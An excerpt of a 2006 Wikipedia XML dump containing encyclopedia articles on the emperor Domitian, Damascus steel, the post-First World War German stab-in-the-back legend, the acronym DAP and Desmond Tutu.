Domitian's greatest passions were the arts and the games. He finished the [[Colosseum]], started by his father, and implemented the Capitoline Games in [[86]]. Like the [[Olympic Games]], they were to be held every four years and included athletic displays, chariot races, but also oratory, music and acting competitions. The Emperor himself supported the travels of competitors from the whole empire and attributed the prizes. He was also very fond of [[gladiator]] shows and added important innovations like female and dwarf gladiator fights.

As a military commander, Domitian was not gifted, due to his education in Rome, away from the [[Roman legion|legions]]. Probably because of this, the emperor limited Roman military enterprises during his reign. He claimed several [[Roman triumph]]s, namely over the [[Chatti]] and in Britain, but they were only propaganda manoeuvres, since these wars were still being fought. Nevertheless, several campaigns were fought during his reign, especially in the [[Danube]] frontier against the Dacians. Domitian also founded [[Legio I Minervia|Legio I ''Minervia'']] in [[82]], to fight against Chatti. 

Towards the end of his reign, which had started with moderation, Domitian revealed a cruel personality. According to several sources, despite some arguments in the academic community, [[Jew]]s and [[Christianity|Christian]]s were heavily persecuted during his reign. The emperor also developed a [[paranoia|paranoid]] fear of persecution that led him to kill or execute several members of the senatorial and [[equestrian (Roman)|equestrian]] orders. He disliked aristocrats and had no fear of showing it, withdrawing every decision-making power from the [[Roman Senate|Senate]]. 

Domitian was murdered in September 96, in a plot organized by his enemies in the Senate, Stephanus (the steward of the deceased Julia Flavia), members of the Pretorian Guard and empress Domitia Longina. The emperor knew that, according to an astrological prediction, he would die around noon. Therefore, he was always restless during this time of the day. In his last day, Domitian was feeling disturbed and asked a servant boy what time it was several times. The boy, included in the plot, lied, saying that it was much later. More at ease, the emperor went to his desk to sign some decrees, where he was stabbed eight times by Stephanus.

Domitian was succeeded by [[Nerva]] (by appointment of the senate), the first of the [[Five Good Emperors]].

==Domitian and Early Christianity==

For scholars, it is difficult to uncover Domitian's exact policy towards the developing [[Christian]] community. Many people believe that he was the Emperor during the time that the [[Book of Revelation|Revelation]] to John was authored (95 or 96). From a Christian perspective, the Revelation, the final canonical book of the [[New Testament]], reveals God's plan for the [[Apocalypse]]. From a secular viewpoint, the Revelation could be viewed as a reaction to the anti-Christian policies of Domitian and some earlier emperors. At the time, [[Christianity]] was a struggling religion attempting to find a foothold in the classical world. In addition to sporadic persecutions Christians were also facing pressure to conform to the Imperial Cult of Domitian. Although it is unclear that Domitian officially enforced adherence to the cult, scholars generally agree that [[Roman Empire|Roman]] governors forced citizens to participate in order to prove their loyalty and patriotism. Since Christian doctrine specifically forbids the worship of false idols, Christians refused to partake in this Imperial tradition. In the face of adversity many Christians may have been doubting their beliefs and may even have been on the verge of abandoning Christianity all together. In this atmosphere it is conceivable that  John of Patmos wrote the Revelation in hopes of inspiring fledgling Christians to persevere. Within the book several symbolic references are made about the Roman Empire and the incumbent Emperor, possibly Domitian. In short, Christians are reminded that their Savior will return to reward those who believe and punish those who do not and those who stand against believers.

It is interesting to note that believers of the Restoration Movement, i.e., Church of Christ, among others, hold not to the traditional Christian view that John's Revelation predicted future events, but rather to the above mentioned secular view, that the book is simply a reaction to the anti-Christian policies of Domitian.

The custom of Damnatio Memoriae was issued on Domitian, obliterating him from all public record. Many of the images that survive of Domitian's successor Nerva were actually once Domitian but converted to Nerva after the Damnatio  Memoriae was issued.

==External links==
{{Commons|Domitian}}


{{start box}}
{{succession box|title=[[List of Roman Emperors|Roman Emperor]]|before=[[Titus]]|after=[[Nerva]]|years=81&amp;ndash;96}}
{{end box}}

[[Category:51 births]]
[[Category:96 deaths]]
[[Category:Roman emperors]]
[[Category:Flavian Dynasty]]
[[Category:Roman emperors murdered by the Praetorian Guard]]

[[da:Domitian]]
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[[eo:Domiciano]]
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[[ko:도미티아누스]]
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[[he:דומיטיאנוס]]
[[la:Domitianus]]
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[[ja:ドミティアヌス]]
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[[fi:Domitianus]]
[[sv:Domitianus]]
[[zh:图密善]]</text>
    </revision>
  </page>
  <page>
    <title>Damascus steel</title>
    <id>8593</id>
    <revision>
      <id>41927173</id>
      <timestamp>2006-03-02T17:56:52Z</timestamp>
      <contributor>
        <ip>141.209.47.170</ip>
      </contributor>
      <comment>/* Attempts at reproduction */</comment>
      <text xml:space="preserve">'''Damascus steel''', also known as ''Damascened steel'' and sometimes ''water steel'', now  commonly refers to two types of [[steel]] used in custom [[knife]] and [[sword]] making, pattern-weld and [[wootz]] (true damascus).  Both types of Damascened steel show complex patterns on the surface, which are the result of internal structural elements in the steel.  These patterns are the result of the unique [[forge | forging]] methods used for the creation of Damascened steel, and skilled [[swordsmith]]s can manipulate the patterns to create complex designs in the surface of the steel.

==Origin of the term &quot;Damascus&quot;==
The origins of the name &quot;Damascus&quot; remains somewhat controversial. Although it would seem obvious that it refers to swords built in [[Damascus]], there are several equally likely sources of the name. One is the [[Arabic language|Arabic]] word ''damas'' for water, referring to the surface pattern of [[moiré]] ripples which looks like turbulent water and is also seen in some [[damask]] weaves of [[fabric]]. Another potential source is the swordsmith himself:  the author [[al-Beruni]] refers to swords made by a man he names Damasqui.  Finally another author, [[al-Kindi]], refers to swords made in Damascus as Damascene. This word has often been employed as an epithet in various Eastern European legends (''Sabya Damaskinya'' or ''Sablja Dimiskija'' meaning &quot;Damascene sword&quot;), of which perhaps the best known are the Bulgarian and Serbian legends of [[Prince Marko]], a historical figure of the late 14th century in what is now the [[Republic of Macedonia]].

==Manufacture==
The original Damascus steel swords may have been made in the vicinity of [[Damascus]], [[Syria]], in the period from 900 to as late as 1750.  Damascus steel is a type of steel [[alloy]] that is both hard and flexible, a combination that made it ideal for the building of [[sword]]s.  It is said that when Damascus made swords were first encountered by Europeans during the [[Crusade]]s it garnered an almost mythical reputation&amp;mdash;a Damascus steel blade was said to be able to cut a piece of [[silk]] in half as it fell to the ground, as well as being able to chop through normal blades, or even [[Rock (geology)|rock]], without losing its sharp edge. Recent [[metallurgy|metallurgical]] experiments, based on [[microscopic]] studies of preserved Damascus-steel blades, have claimed to reproduce a very similar steel via possible reconstructions of the historical process.

When forming a batch of steel, impurities are added to control the properties of the resulting alloy. In general, notably during the era of Damascus steel, one could produce an alloy that was hard and brittle at one extreme by adding up to 2% [[carbon]], or soft and malleable at the other, with about 0.5% carbon. The problem for a swordsmith is that the best steel should be both hard ''and'' malleable&amp;mdash;hard to hold an edge once sharpened, but malleable so it would not break when hitting other metal in combat. This was not possible with normal processes.

Metalsmiths in [[India]] perhaps as early as [[300 BC]] (although more likely 200 CE) developed a new technique known as [[wootz steel]] that produced a high-carbon steel of unusually high purity. [[Glass]] was added to a mixture of iron and charcoal and then heated. The technique propagated very slowly through the world, reaching modern-day [[Turkmenistan]] and [[Uzbekistan]] around 900, and then the [[Middle East]] around 1000.

This process was further refined, either using locally produced steels, or by re-working wootz purchased from India. The exact process remains unknown, but allowed [[carbide]]s to precipitate out as micro particles arranged in sheets or bands within the body of a blade.  The carbides are far harder than the steel, allowing the swordsmith to make an edge centered on one of the carbide bands and thus very strong, while the sword as a whole remained flexible as in normal steels. The banded carbide precipitates appear in the blade as a beautiful swirling patterning, apparently the origin of the term [[damask]].

==Loss of the technique==
For reasons that are not entirely clear, the process was then lost to the Middle-Eastern metalsmiths around 1750, and has been eagerly sought by many since that time. The [[Russia|Russian]] [[bulat steel]] has many similar properties, at least in nature if not in process. Recently various groups have claimed to have recreated steel with properties consistent with true Damascus blades, through [[experimental archaeology]], though even they admit they cannot be certain how it was originally created.  Verhoeven et al. (1998) argued that the keys are ores with certain trace elements, controlled thermal cycling after the initial forging, and a grinding process to reveal the final damask pattern.  A somewhat different technique was proposed by Wadsworth and Sherby (1980; also 2001). 

For some time, it was believed that Damascus steel was made in a similar fashion to what is known as [[pattern welding]], a sword making technique that was widely used in Europe and Japan. Pattern welding is a mechanical process that lays up strips of material which are then pounded together, or folded, as in Japanese practice. If the blade is then etched in [[acid]] the layering below the surface is revealed, the patterns being similar to that of Damascus steel. For some time this similarity was used to dismiss Damascus as yet another pattern-welded steel, but modern metallurgy demonstrated this to be wrong.

It has also long been argued that the raw material for Damascus steel swords was imported from India, because India was the only known center of crucible-fired steels like [[wootz steel|wootz]]. However this conclusion became suspect when the furnaces in Turkmenistan were discovered, demonstrating at least that the technique was moving out from India. The wootz may have been manufactured locally in the Damascus area, but so far no remains of the distinctive wootz furnaces have appeared. Verhoeven et al.'s work supports the hypothesis that the wootz used was from India, as several key impurities that appear to give Damascus steel its properties point to particular ores available only in India.

==Attempts at reproduction==
From the very start, the superior capabilities of Damascus swords attracted significant attention, and many attempts were made to reproduce either the performance or the appearance of the Damascus blades.  Since [[pattern welding]] was a widespread technique, and produced surface patterns similar to those found on Damascus blades, many people believed that Damascus blades were made using a pattern welding technique.  This belief was challenged in the 1990s when J. D. Verhoeven and A. H. Pendray published an article on their experiments on reproducing the elemental, structural, and visual characteristics of Damascus steel.

Verhoveven and Pendray started with a cake of steel that matched the properties of the original wootz steel from India, which also matched a number of original Damascus swords they had access to.  The wootz was in a soft, [[anneal]]ed state, with a large grain structure, and many beads of pure [[iron carbide]] which were the result of the [[Eutectoid | hypereutectoid]] state of the wootz.  They had already determined that the grains on the surface of the steel were grains of iron carbide, so their question was how to reproduce the fine iron carbide patterns they saw in the Damascus blades from the large grains in the wootz.

By heating the cake of wootz to just below the critical temperature which would cause the iron carbide to return to solution, it was possible to forge the wootz with hand tools.  Repeated forging, working the wootz into a long, thin shape suitable for a knife or sword blade, caused the large iron carbide crystals to fracture and spread out in the pearlite matrix.  The resulting steel contains bands of iron carbide in a [[pearlite]] matrix, alternating with bands of [[ferrite]] and [[cementite]].  In this process the steel [[Work hardening| work hardens]], which is what allows the normally soft wootz to be used for knives and swords.

==Pattern welded &quot;Damascened&quot; steel==
[[Image:DamascusSteelPocketKnife.jpg|thumb|400px|Pattern welded 
&quot;Damascus steel&quot; pocket knife]]
{{main|Pattern welding}} 
Pattern welded steel is commonly known today as &quot;Damascus steel&quot;, though it appears that the original Damascus steel was not created with that technique.  Pattern weld Damascus is made out of several types of steel and iron slices, which are then welded together to form a billet.  The patterns vary depending on what the smith does to the billet.  The billet is drawn out and folded until the desired number of layers are formed.  The end result, if done well, bears a strong resemblance to the surface appearance of a true Damascus blade, though the internal structure is completely dissimilar.

Pattern welding was very common in the ancient world; [[Viking]] swords, Japanese [[katana]] and [[Indonesia]]n [[kris]] or keris swords were all made using pattern welding techniques.

Another material similar to Pattern weld is [[mokume-gane]].  Mokume is made of the softer metals, like gold, silver, and copper.  It is made in much the same way as pattern weld Damascus, and is used for rings, tsubas (the guard on a katana), and knife bolsters.  The name mokume-gane means &quot;wood eye&quot;, referring to the pattern of the metals, which looks like wood grain.  It was first made by the Japanese.

Some old [[shotgun]] barrels (usually on [[Double-barreled_shotgun|double barreled]] guns) were formed from wires that were wrapped around a [[mandrel]] and forged and welded into shape. This leaves a visible wire pattern in the barrel and such are referred to as &quot;Damascus Barrels&quot;.

==See also==
*[[Experimental archaeology]]

==References==
* Eric M. Taleff, Bruce L. Bramfitt, Chol K. Syn, Donald R. Lesuer, Jeffrey Wadsworth, and Oleg D. Sherby, &quot;Processing, structure, and properties of a rolled ultrahigh-carbon steel plate exhibiting a damask pattern,&quot; ''Materials Characterization'' '''46''' (1), 11-18 (2001).
* J. D. Verhoeven, &quot;A review of microsegregation induced banding phenomena in steels&quot;, ''J. Materials Engineering and Performance'' '''9''' (3), 286-296 (2000).
* J. D. Verhoeven, A. H. Pendray, and W. E. Dauksch, &quot;[http://www.tms.org/pubs/journals/JOM/9809/Verhoeven-9809.html The Key Role of Impurities in Ancient Damascus Steel Blades]&quot;, ''JOM'' '''50''' (9), 58-64 (1998).
* J. Wadsworth and O. D. Sherby, &quot;On the Bulat &amp;mdash; Damascus steel revisited,&quot; ''Prog. Materials Science'' '''68''', 25-35 (1980).

[[Category:Steels]]
[[Category:Steelmaking]]

[[de:Damaszener Stahl]]
[[fr:Lames de Damas]]
[[it:Acciaio damasco]]
[[ja:ダマスカス鋼]]
[[pl:Stal damasceńska]]
[[ru:Дамаск (металл)]]</text>
    </revision>
  </page>
  <page>
    <title>Dolchstosslegende</title>
    <id>8594</id>
    <revision>
      <id>41725825</id>
      <timestamp>2006-03-01T08:46:13Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <minor />
      <comment>/* Motivation */ - sp</comment>
      <text xml:space="preserve">[[Image:Dolchstoss.jpg|thumb|Magazine title from 1924, example of a propaganda illustration in support of the legend]]

The '''Dolchstoßlegende''' or '''Dolchstosslegende''', ([[German language|German]] &quot;dagger-thrust legend&quot;, often translated in [[English language|English]] as &quot;stab-in-the-back legend&quot;) refers to a social [[mythos]] and [[persecution]]-[[propaganda]] and belief among bitter post-[[World War I]] [[German nationalism|German nationalists]], that laid blame for the loss of the war upon non-Germans and non-nationalists.

 
==Motivation==
Most Germans supported, fought in, or suffered in an enormously costly [[World War I]]. From the German and some more neutral points of view, it was widely believed that Czarist [[Russia|Imperial Russia]] had exploited the issue in the [[Balkans]]. Many Germans saw the war as part of the eternal struggle against the &quot;invading hordes from the east&quot;. While [[pan-Slavism]] and Russian expansionism had to be considered, French [[revanchism]] lingering from 1870 was also seen as a primary reason for the war. From the German point of view, the [[British]] were seen to be equally opportunistic, determined to dismantle the powerful German Empire that had disrupted Britain's dominance over trade and threatened her vast commercial empire. 

However, with their leaflet and tabloid war, the British and American press were particularly sucessful in establishing the view that the German Empire was as an exporter of Prussian &quot;militarism&quot;, guilty of crimes against humanity. After [[Imperial Russia]] dropped out of the war, the supposed contrast between the &quot;free&quot; and &quot;democratic&quot; world that wanted peace and the opposing autocratic, barbaric German-led autocracies that wanted war was heavily exploited. This was an extremely important development that helped the American leadership justify their country's involvement in a war [[President]] [[Woodrow Wilson]] said would &quot;make the world safe for democracy.&quot;
 
In his memoirs, [[General Ludendorff|Erich Ludendorff]] consistantly points out that the [[Hohenzollern]] leadership failed to acknowledge the power of [[Entente]] propaganda during [[World War I]]. It should be no surprise that from 1933-1945, the Germans made it a point to master the craft which the Entente had introduced so effectively during [[World War I]]. Although frequently depicted as primordial aggressors responsible for the war, Germany's peace proposals were all but rejected. After the first year of the war, both sides realized a peace without annexations and indemnities, not to mention the loss of territory, would constitute as political suicide; too many lives had been lost for the war to be purposeless. Thus, German proposals included the ability to retain the territory it occupied in the West, namely part of [[Belgium]]. 

Ludendorff was convinced that the Entente wanted little other than a [[draconian]] peace. This was not the message most Germans heard coming from the other side and Wilson's [[Fourteen Points]] plan was particularly popular amongst the German people. Socialists and liberals, especially the [[Social Democrats]] that formed the majority of the parliamentary body, were already agitators for change prior to 1914. When peace and full restoration were promised by the [[Entente]], they needed little further encouragement to shed their patriotic enthusiasm.  Likewise, Germany's allies began to question the reason for the war as the conflict dragged on and found their answer in Allied propaganda.

As Austria-Hungary began to suffer from internal strife due to its multi-national composition, Germany soon found herself &quot;chained to a dead horse&quot;. From the other point of view, however, Germany was continuing a fight the rest of her [[Central Powers|Central Power]] allies no longer wished to carry on. When the armistice finally came in 1918, Ludendorff's prophecy came true almost immediately. Although the fighting had ended, the British maintained their blockade of the European continent for a full year, leading to starvation and severe malnutrition across the nation. The peace that was quickly signed by [[Weimar Republic]] politicians and established at [[Versailles|Versailles Treaty]] would prove to be punishingly devastating, and certainly not what the German peace-seeking populace had expected.

Conservatives, nationalists and ex-military leaders sought others to blame. The common [[scapegoats]] were [[Weimar Republic]] politicians, socialists, [[communists]], and &quot;international Jewry&quot; &amp;mdash; a term referring to [[Jews|Jews]] with a perceived excess of wealth and influence. These '''&quot;November criminals&quot;''', nationalists alleged, had &quot;stabbed them in the back&quot; on the &quot;[[home front]],&quot; by either criticizing the cause of [[German nationalism]] or profiteering. In essence the accusation was that the accused committed [[treason]] against the benevolent and righteous common cause. 

These theories were given credence by the fact that when Germany surrendered in November 1918, its armies were still in French and Belgian territory - in fact earlier in 1918 the Michael offensive had come close to winning the war for Germany.  In addition Germany had already won the war against Russia.  This overlooked Germany's strategic position and ignored how the efforts of individuals were somewhat marginalized on the front, since the belligerents were engaged in a new kind of war. The [[industrialization of war]] had dehumanized the process, and made possible a new kind of defeat which the Germans suffered.

Non-combatants and homefront production became of great influence as a [[total war]] emerged. There was a considerable amount of political tension prior to the war, especially due to the growing presence of socialists in the [[Bundesrat of Germany|Bundesrat]]. This was a great concern for the absolutists in power. Some historians believe this to be one of the reasons [[Austria-Hungary]] committed itself to war even though diplomatic solutions had not been completely exhausted. Although there are many possible [[Causes of World War I|causes for World War I]], some saw it as an opportunity to unite the nation with a decisive victory, diminishing the threat of social insurrection. 

The outbreak of the war erased many of the divisions that had existed in German society initially; [[Roman Catholic Church|Roman Catholics]], [[Jews]], Lutherans, socialists, right-wingers and liberals were all overcome by the phenomenon of the &quot;spirit of 1914&quot;. Yet, as the war dragged on, old divisions resurfaced. Suspicion of Catholics, [[Social Democrats]] and Jews grew as initial enthusiasms subsided and their national loyalty was questioned once again. Those who were profiting from the war were also subject to criticism, as well as industrial workers involved in labor strikes. [[Friedrich Alfred Krupp|Krupp]] himself was accused of manufacturing arms for both sides, which was extremely profitable. Individual interests were guided by the behavior of individuals in other sectors. As administrators meddled with the economy by introducing price ceilings and other measures, producers often responded by switching goods, thus creating shortages. This created a great amount of tension between urban and rural settings and, more importantly, exacerbated hardships and bred discord. In 1917, there were roughly five hundred strikes across Germany, resulting in over 2,000,000 total work days lost.

Still, civil disorder was a result of an inability to make ends meet, not a shortage of patriotism. While it is true that production slumped in 1917 and 1918, the nation had maximized its war effort and could take no more.  Raw production figures confirm that Germany could not have possibly won a war of attrition against Britain, France and the United States combined. Despite its overwhelming power, Germany's industrial might and population were matched and outclassed by the Entente as a whole. Russia's exit in [[1917]] did little to change the overall picture, as the [[United States]] joined the war shortly thereafter on April 16, 1917. American industrial capacity overtook Germany's singlehandedly.

Nevertheless, this social mythos of domestic betrayal resonated among its audience, and its claims would codify the basis for public support for the emerging [[Nazi Party]], under a severely [[racialist]]-based form of nationalism.  The [[anti-Semitism]] was intensified by the [[Bavarian Soviet Republic]], a [[Communist]] government which ruled the city of [[Munich]] for two weeks before being crushed by the Freikorps militia.  Most of the Bavarian Soviet Republic's leaders were Jewish, a fact exploited by anti-Semitic propagandists to tar all Jews with the brush of &quot;Communist treason&quot;.

==Origins==
In the latter part of the war, Germany was practically governed as a [[military dictatorship]], with the Supreme High Command (German: OHL, &quot;[[Oberste Heeresleitung]]&quot;) and  [[Generalfeldmarschall|General Field Marshal]] [[Paul von Hindenburg]] as commander-in-chief advising [[Wilhelm II of Germany|the Kaiser]]. After the last German offensive on the western front failed in [[1918]], the German war effort was doomed. In response, OHL arranged for a rapid change  to a civilian government. General [[Erich Ludendorff]], Germany's Chief of Staff, said: &quot;I have asked His Excellency to now bring those circles to power which we have to thank for coming so far. We will therefore now bring those gentlemen into the ministries. They can now make the peace which has to be made. They can eat the soup which they have prepared for us!&quot;

On [[November 11]], [[1918]], the civilian representatives of the newly formed [[Weimar Republic]] of [[Germany]] signed an armistice with the Allies which would end [[World War I]]. The subsequent [[Treaty of Versailles]] led to further territorial and financial losses. 

As the Kaiser had been forced to abdicate and the military relinquished executive power, it was the temporary, civilian government which &quot;had to&quot; sue for peace. This led to the signing of the Treaty of Versailles. Even though they publicly despised the treaty, it was most convenient for the generals - there were no war crime tribunals, they were celebrated as undefeated heroes, and they could covertly prepare for removing the republic which they had helped to create. 

In 1919 the [[Reichswehr]] (National Militia) already began &quot;educating&quot; an impressionable [[Adolf Hitler]] about the causes of the war and the defeat, firmly placing the ''Dolchstoßlegende'' in his mind; it was Ludendorff who would lead the unsuccessful [[Beer Hall Putsch]] on [[November 8]], [[1923]] together with Hitler; it was the Reichswehr which provided early funding to the Nazi Party; and it was an 85-year-old Paul von Hindenburg who would appoint Hitler as chancellor of Germany on January 30, 1933.

The official birth of the legend can be dated to November [[1919]], when Hindenburg attempted to exonerate himself and the German army as a whole by placing blame specifically on a ''Dolchstoß'' by troops stationed within Germany who joined soldiers' and sailors' unions during the [[Spartacist League|Spartacist]] uprisings. The term &quot;November criminals&quot; refers both to the statesmen who signed the Treaty of Versailles and to a vast Jewish-Marxist conspiracy that was often interpreted as including Germans who were not considered sufficiently patriotic or [[militarism|militaristic]]. It was also applied to those who participated in the revolution that overthrew the imperial government and instituted the Weimar Republic.

No [[Allies|Allied]] soldiers had stepped foot on German soil, and German troops stood in fact before Paris in the West, and had signed the Peace of Brest-Litovsk with Russia in the East. Many who believed in the utter invincibility of the army asserted that the statesmen who had signed the Treaty of Versailles were traitors, and that victory would have eventually come otherwise. A point supported by the fact that the German leadership believed in fair and just conditions of a peace treaty, based upon Woodrow Wilson's 14 Points. As a result of the treaty, Germany's territory instead reduced by a third, the [[Rhineland]] was demilitarized and Allied troops were to occupy many areas. There were also enormous [[war reparations]] to be paid for a period of 70 years (until 1988). From a propaganda perspective, perhaps the most important aspect of the treaty was the [[War Guilt Clause]], which forced Germany to accept complete responsibility for the war. 

The treaty became enormously unpopular in Germany, in no small part because it impinged extensively on internal German sovereignty. However, the Allies were willing to gradually scale down the treaty in the coming years to counter the anti-capitalist Soviet Union. Moreover, the Weimar Republic under [[Friedrich Ebert]] violently suppressed workers' uprisings with the help of the Reichswehr and tolerated the [[paramilitary]] [[Freikorps]] forming all across Germany. In spite or because of this tolerance of the extreme right, the republic was viciously attacked, many of its representatives such as [[Walther Rathenau]] were assassinated, and the leaders were branded as &quot;criminals&quot; and Jews by the right-wing press dominated by [[Alfred Hugenberg]].

==Related concepts outside of Weimar Germany==

Other wars have been viewed as winnable but being lost due to betrayal at home. For example, some view this as happening with the [[Vietnam War]], in what was dubbed the [[Vietnam Syndrome]].

==Sources==

*Spielvogel, Jackson J.  ''Hitler and Nazi Germany: A History.'' New Jersey, Prentice Hall: 2001.
*Gerald D. Feldman, &quot;Die Massenbewegungen der Arbeiterschaft in Deutschland am Ende des Esten Weltkreiges 1917-1920&quot; Politische Vierteljahrschrift 1972.
*Chickering, Roger &quot;Imperial Germany and the Great War, 1914-1918.&quot; Cambridge, Cambridge University Press: 2004.
*[http://www.nizkor.org/hweb/people/h/hitler-adolf/oss-papers/text/oss-profile-05-04.html OSS Psychological Profile of Hitler, Part Five]

[[Category:World War I]]
[[Category:Military history of Germany during World War II]]
[[Category:Weimar Republic]]
[[Category:Propaganda examples]]
[[Category:Anti-Semitism]]
[[Category:German loanwords]]

[[de:Dolchstoßlegende]]
[[fr:Dolchstoßlegende]]
[[it:Dolchstosslegende]]
[[nl:Dolkstootlegende]]
[[no:Dolkestøtlegenden]]
[[sr:Легенда о убоду у леђа]]
[[sv:Dolkstötslegenden]]</text>
    </revision>
  </page>
  <page>
    <title>DAP</title>
    <id>8595</id>
    <revision>
      <id>41174931</id>
      <timestamp>2006-02-25T15:21:30Z</timestamp>
      <contributor>
        <username>Mmeinhart</username>
        <id>676562</id>
      </contributor>
      <text xml:space="preserve">DAP has various meanings, including:

* [[German Workers' Party|Deutsche Arbeiterpartei]], [[Germany|German]] name of the [[German Workers' Party]].
* [[Democratic Action Party]], Malaysian political party.
* [[Directory Access Protocol]], an implementation of the [[OSI model]] [[application layer]].
* [[Digital audio player]], device that stores and plays digital music files.
* [[Distributed Array Processor]], the first commercial [[massively parallel computer]].
* [[Download Accelerator]] Plus, An application created to speed downloads.
* [[DAP (company)]], maker of [[caulk]], [[cement]]s, and other construction and home repair products.
* [[Diammonium Phosphate]], used as a fertilizer and flame retardent (18-46-0), highly soluble, skin irritant
* Dapping or doming is a metalworking technique.  See [[Doming technique]].


DAP (or Dap) also has several connotations within urban American culture, including:

* Dap - A form of greeting or sign of respect in which two people slap and grasp hands briefly. Similar to a high five, except dap is given chest high. Less frequently, dap can be given in the form of pounding fists in a vertical manner.

* Dap - A stylized manner of walking that projects the appearance of &quot;cool&quot;.  This term is used primarily by older individuals, as it has been replaced in youthful conversation with the adjective &quot;pimp&quot; (as in &quot;pimp walk&quot; or &quot;pimp limp&quot;).
{{TLAdisambig}}


[[de:DAP]]
[[nl:DAP]]</text>
    </revision>
  </page>
  <page>
    <title>Desmond Tutu</title>
    <id>8597</id>
    <revision>
      <id>42027649</id>
      <timestamp>2006-03-03T08:28:02Z</timestamp>
      <contributor>
        <username>Elf-friend</username>
        <id>44029</id>
      </contributor>
      <comment>Fix vandalism</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name=Archbishop Desmond Tutu|
  image_name= Archbishop-Tutu-medium.jpg|160px
  image_caption= 
  dead= |
  date_of_birth= [[October 7]], [[1931]]|
  place_of_birth= [[Klerksdorp]], [[Transvaal]]|
  date_of_death= |
  place_of_death= 
}}
The Most Reverend '''Desmond Mpilo Tutu''' (born [[October 7]], [[1931]]) is a [[South Africa]]n [[cleric]] and activist who rose to worldwide fame during the [[1980s]] as an opponent of [[History of South Africa in the Apartheid Era|apartheid]].  Tutu was the first black South African [[Anglicanism|Anglican]] [[Archbishop]] of [[Cape Town]], South Africa, and [[primate (religion)|primate]] of the [[Church of the Province of Southern Africa]]. He was awarded the [[Nobel Peace Prize]] in [[1984]].

He is generally credited with coining the term [[Rainbow Nation]] as a metaphor to describe post-apartheidist [[South Africa]] after [[1994]] under [[African National Congress|ANC]] rule.  The expression has since entered mainstream consciousness to describe South Africa's ethnic diversity.

== Background ==

Born in [[Klerksdorp]], [[Transvaal]], Tutu moved with his family to [[Johannesburg]] at age 12. Although he wanted to become a [[physician]], his family could not afford the training and he followed his father's footsteps into teaching. Tutu studied at the Pretoria Bantu Normal College from [[1951]] through [[1953]]. Tutu went on to teach at Johannesburg Bantu High School where he remained until [[1957]]; he resigned following the passage of the [[Bantu Education Act]], protesting the poor educational prospects for black South Africans. He continued his studies, this time in [[theology]], and in [[1960]] was ordained as an [[Anglican]] [[priest]]. He became [[chaplain]] at the [[University of Fort Hare]], a hotbed of dissent and one of the few quality universities for black students in the southern part of Africa.

Tutu left his post as chaplain and travelled to [[King's College London]], ([[1962]]–[[1966]]), where he received his [[Bachelor's degree|Bachelor's]] and [[Master's degree]]s in Theology. He returned to South Africa and from [[1967]] until [[1972]] used his lectures to highlight the circumstances of the black population. He wrote a letter to [[B.J. Vorster|Prime Minister Vorster]], in which he described the situation in South Africa as a &quot;[[gunpowder|powder barrel]] that can explode at any time.&quot;  The letter was never answered.   

In [[1972]] Tutu returned to the [[United Kingdom|UK]], where he was appointed vice-director of the Theological Education Fund of the [[World Council of Churches]], at [[Bromley]] in [[Kent]]. He returned to South Africa in [[1975]] and was appointed [[Dean (religion)|Dean]] of St. Mary's Cathedral in [[Johannesburg]]—the first black person to hold that position.

He has been married to [[Leah Nomalizo Tutu]] since [[1955]]. They have four children:  Trevor Thamsanqa, Theresa Thandeka, Naomi Nontombi and Mpho Andrea, all of whom attended the famous [[Waterford Kamhlaba]] School.

In 1996, Tutu was diagnosed with [http://www.malecare.com prostate cancer].

In [[2000]] Tutu received a L.H.D. from [[Bates College]] and in [[2005]], Tutu received an [[honorary degree]] from the [[University of North Florida]], one of the many universities in North America and Europe where he has taught.

== Political work ==

In [[1976]] protests in [[Soweto]], also known as the [[Soweto Riots]], against the government's use of [[Afrikaans]] in black schools became a massive uprising against apartheid.  From then on Tutu supported an economic [[boycott]] of his country.  Desmond Tutu was [[Bishop]] of [[Lesotho]] from [[1976]] until [[1978]], when he became [[Secretary-General]] of the South African Council of Churches. From this position, he was able to continue his work against apartheid with agreement from nearly all churches. Tutu consistently advocated [[reconciliation]] between all parties involved in apartheid through his writings and lectures at home and abroad.

On [[October 16]], [[1984]], Tutu was awarded the [[Nobel Peace Prize]].  The Nobel Committee cited his &quot;role as a unifying leader figure in the campaign to resolve the problem of apartheid in South Africa.&quot;{{ref|Nobel}} 

Tutu became the first black person to lead the Anglican Church in [[South Africa]] on [[September 7]], [[1986]]. In [[1989]] Tutu was invited to [[Birmingham, England|Birmingham]], [[England]], as part of Citywide Christian Celebrations.  Tutu and his wife visited a number of establishments including [[Nelson Mandela]] School in [[Sparkbrook]].

After the fall of apartheid, he headed the [[Truth and Reconciliation Commission]], for which he was awarded the [[Sydney Peace Prize]] in [[1999]].

In 2004, Tutu returned to the [[United Kingdom|UK]] as Visiting Professor in Post-Conflict Societies at [[King's College London|King's College]] and gave the Commemoration Oration, as part of the College's 175th anniversary. He also visited the students' union nightclub, named &quot;Tutu's&quot; in his honour and featuring a rare bust of his likeness.

=== Political views ===

Tutu believes the treatment of [[Palestinian]]s by the Jewish state of [[Israel]] is a form of apartheid.{{ref|Apartheid}} {{ref|BBC_Apr02}} {{ref|terrorism}} He has repeatedly called upon the Israeli government to respect the human dignity of the Palestinian people, whether [[Muslim]] or [[Christianity|Christian]]. Tutu has also urged divestment from Israel in protest at its policies towards the Palestinians. The US- based [[Simon Wiesenthal Center]] has opposed his call.{{ref|Wiesenthal}} 

In [[2003]] he became the patron of [http://www.sabeel.org/documents/Archbishop%20Tutu%20Letter.htm Sabeel Ecumenical Liberation Theology Center] located in [[Jerusalem]].

The Nobel laureate also has expressed support for the [[West Papua]]n independence movement, criticizing the [[United Nations]]' role in the takeover of West Papua by [[Indonesia]].  Tutu said:  &quot;For many years the people of South Africa suffered under the yoke of oppression and apartheid. Many people continue to suffer brutal oppression, where their fundamental dignity as human beings is denied. One such people is the people of West Papua.&quot;

Tutu has also criticised human rights abuses in [[Zimbabwe]], calling Zimbabwean [[President of Zimbabwe|president]] [[Robert Mugabe]] a &quot;caricature of an African dictator&quot;, and criticising the [[South Africa]]n government's policy of quiet diplomacy towards Zimbabwe.

Commenting days after the [[August 5]], [[2003]] election of [[Gene Robinson]], an openly [[gay]] man to be a bishop in the [[Episcopal Church in the United States of America]], Desmond Tutu said, “In our Church here in South Africa, that doesn’t make a difference. We just say that at the moment, we believe that they should remain celibate and we don’t see what the fuss is about.”{{ref|fuss}}

